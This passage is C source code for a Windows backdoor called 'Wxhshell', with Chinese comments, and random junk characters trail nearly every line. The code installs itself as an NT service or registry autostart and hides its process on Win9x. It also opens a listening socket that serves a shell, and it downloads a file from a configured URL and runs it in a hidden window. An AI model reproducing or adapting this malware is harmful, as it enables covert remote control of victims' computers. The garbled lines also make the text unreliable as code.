ULONG InheritedFromUniqueProcessId; 5:$Xtq
} PROCESS_BASIC_INFORMATION; n6/f an;
fL2^\dB;
PROCNTQSIP NtQueryInformationProcess; !f`5B( @
/,X7.t_-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9l#gMFknI
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IYLZ
+>
$.9 +{mz
HANDLE hProcess; '<W<B!HP5Z
PROCESS_BASIC_INFORMATION pbi; !x8kB
Di,
L$SMfx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T!(sZf
if(NULL == hInst ) return 0; TywK\hH
.D!WO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w]}f6VlEl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^(DL+r,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J
B(<.E2
5~Q Tg
if (!NtQueryInformationProcess) return 0; 1 )'Iu`k/
[EER4@_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7/
t:YBR
if(!hProcess) return 0; xdqK.Z%
7C?E z%a@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tv1]v.
3[.3dy7,Z
CloseHandle(hProcess); K_Re}\D
q=+wI"[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .'&V#D0
if(hProcess==NULL) return 0; "Vx6 #u@}
6`Lcs
HMODULE hMod; >O3IfS(l
char procName[255]; PV(4$I}
unsigned long cbNeeded; z-I|h~ii
hVkO%]?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Teh*CV
=gs~\q
CloseHandle(hProcess); `|,Bm|~:
{pC\\}
if(strstr(procName,"services")) return 1; // 以服务启动 zQ_z7FJCB
9*DEv0}a^
return 0; // 注册表启动 D?mDG|Z
} _Z$?^gn
m@[3~
6A
// 主模块 6<PW./rk:
int StartWxhshell(LPSTR lpCmdLine) f7
wmw2
{ o[oqPN3$Y
SOCKET wsl; x)$2nonM
BOOL val=TRUE; }2=hd. .
int port=0; Sk$KqHX(
struct sockaddr_in door; Fv A8T2-v
_N@(Y :
if(wscfg.ws_autoins) Install(); F<gMUDB
/=@e &e
port=atoi(lpCmdLine); =W<[Fe3
tH,sql)
if(port<=0) port=wscfg.ws_port; B$j' /e-Zk
GL`tOD:P"
WSADATA data;
0#^Bf[Dn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Y-S(
[4: Yi{>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q~M2:SN@X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OT@yPG
door.sin_family = AF_INET; %{"dP%|w4}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kIX)oD}c
door.sin_port = htons(port); 86qcf"?E
3daC;;XO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :X Lp
closesocket(wsl); tpGCrn2w>
return 1; %I0}4$
} &Sa~/!M
e[8UH =`|
if(listen(wsl,2) == INVALID_SOCKET) { 1yS&~
y?a
closesocket(wsl);
QAUykS8
return 1; ~
aA;<#
} t#~XLCE
Wxhshell(wsl); _*n)mlLln
WSACleanup(); 7@3sUA_Go
\XDmK
return 0; [8z&-'J=
cJ/4Gl
} a'A s
JnHNkCaU
// 以NT服务方式启动 c=aO5(i0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xl,ryc3J
{ m1V- %kUI
DWORD status = 0; $
9 =8@
DWORD specificError = 0xfffffff; d"GDZ[6
?Sw /(}|m
serviceStatus.dwServiceType = SERVICE_WIN32; !-,Ww[G>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +A\V )
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }lO
}x
serviceStatus.dwWin32ExitCode = 0; 4 4`WYK l
serviceStatus.dwServiceSpecificExitCode = 0; b5S7{"<V
serviceStatus.dwCheckPoint = 0; mLaCkn
serviceStatus.dwWaitHint = 0; P63
(^R
In+^V([u+_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cm,4&x6
if (hServiceStatusHandle==0) return; &mdB\Y?^
bl$j%gI%,
status = GetLastError(); (Vap7.6;_
if (status!=NO_ERROR) Z'ao[CG
{ dN0mYlu1|
serviceStatus.dwCurrentState = SERVICE_STOPPED; .)t(:)*b
serviceStatus.dwCheckPoint = 0; {2EMz|&8
serviceStatus.dwWaitHint = 0; o3\,gzJ
serviceStatus.dwWin32ExitCode = status; 9rS,?
serviceStatus.dwServiceSpecificExitCode = specificError; z<h|#@\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ONfyYM?
return; (!-;T
} Km"&mT $
UFf,+4q
serviceStatus.dwCurrentState = SERVICE_RUNNING; #D0W7a
serviceStatus.dwCheckPoint = 0; ib; yu_
serviceStatus.dwWaitHint = 0; +f$Z-U1H/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^Et,TF\
} 8W$L:{ez
H `5Ct
// 处理NT服务事件,比如:启动、停止 8t=3
VOID WINAPI NTServiceHandler(DWORD fdwControl) l=NAq_?N\
{ bQj`g2eyM
switch(fdwControl) Bj=@&;
{ T]uKH29.%
case SERVICE_CONTROL_STOP: `-u7 I
serviceStatus.dwWin32ExitCode = 0; :*cHA
serviceStatus.dwCurrentState = SERVICE_STOPPED; ThiN9! Y
serviceStatus.dwCheckPoint = 0; xU:4Y0y8
serviceStatus.dwWaitHint = 0; Ck@M<(x
{ ^9=4iXd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); om>VQ3
} +(y>qd
return; ` yYvYc
case SERVICE_CONTROL_PAUSE: :cdQ(O.m
serviceStatus.dwCurrentState = SERVICE_PAUSED; zb?kpd}r
break; 7*MU2gb
case SERVICE_CONTROL_CONTINUE: o$t
&MST?i
serviceStatus.dwCurrentState = SERVICE_RUNNING; P=Puaz5&{
break; fB7ljg
case SERVICE_CONTROL_INTERROGATE: <5k&)EoT
break; F^miq^K=
}; 1w17L]4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;:?*t{r4#
} OW#_ty_ul
b|6 !EGh
// 标准应用程序主函数 SBz/VQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C#h76fpH
{ i pwW%"6
qw2)v*Fn
// 获取操作系统版本 p+)C$2YK
OsIsNt=GetOsVer(); #@E(<Pu4`
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4]EvT=Ro
Rf?%Tv0\
// 从命令行安装 /`}6rXnw9
if(strpbrk(lpCmdLine,"iI")) Install(); g}YToOs
B*2{M
// 下载执行文件 zsQF,7/}B
if(wscfg.ws_downexe) { qh H+m
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )tvc/)&A}
WinExec(wscfg.ws_filenam,SW_HIDE); _0m}z%rI
} F^]aC98]1
-F1P28<?
if(!OsIsNt) { 0$l&i=L
// 如果时win9x,隐藏进程并且设置为注册表启动 "vsjen.K>
HideProc(); V(DjF=8
StartWxhshell(lpCmdLine); F^xaz^=`u
} !]G jIT]Oh
else 0JyqCbl
if(StartFromService()) l@#b;M/
// 以服务方式启动 K#@K"N=
StartServiceCtrlDispatcher(DispatchTable); G>JxIrN0
else J+iX,X
// 普通方式启动 z1FL8=
StartWxhshell(lpCmdLine); Bd8hJA
61kO1,Uz*
return 0; y}Cj#I+a
}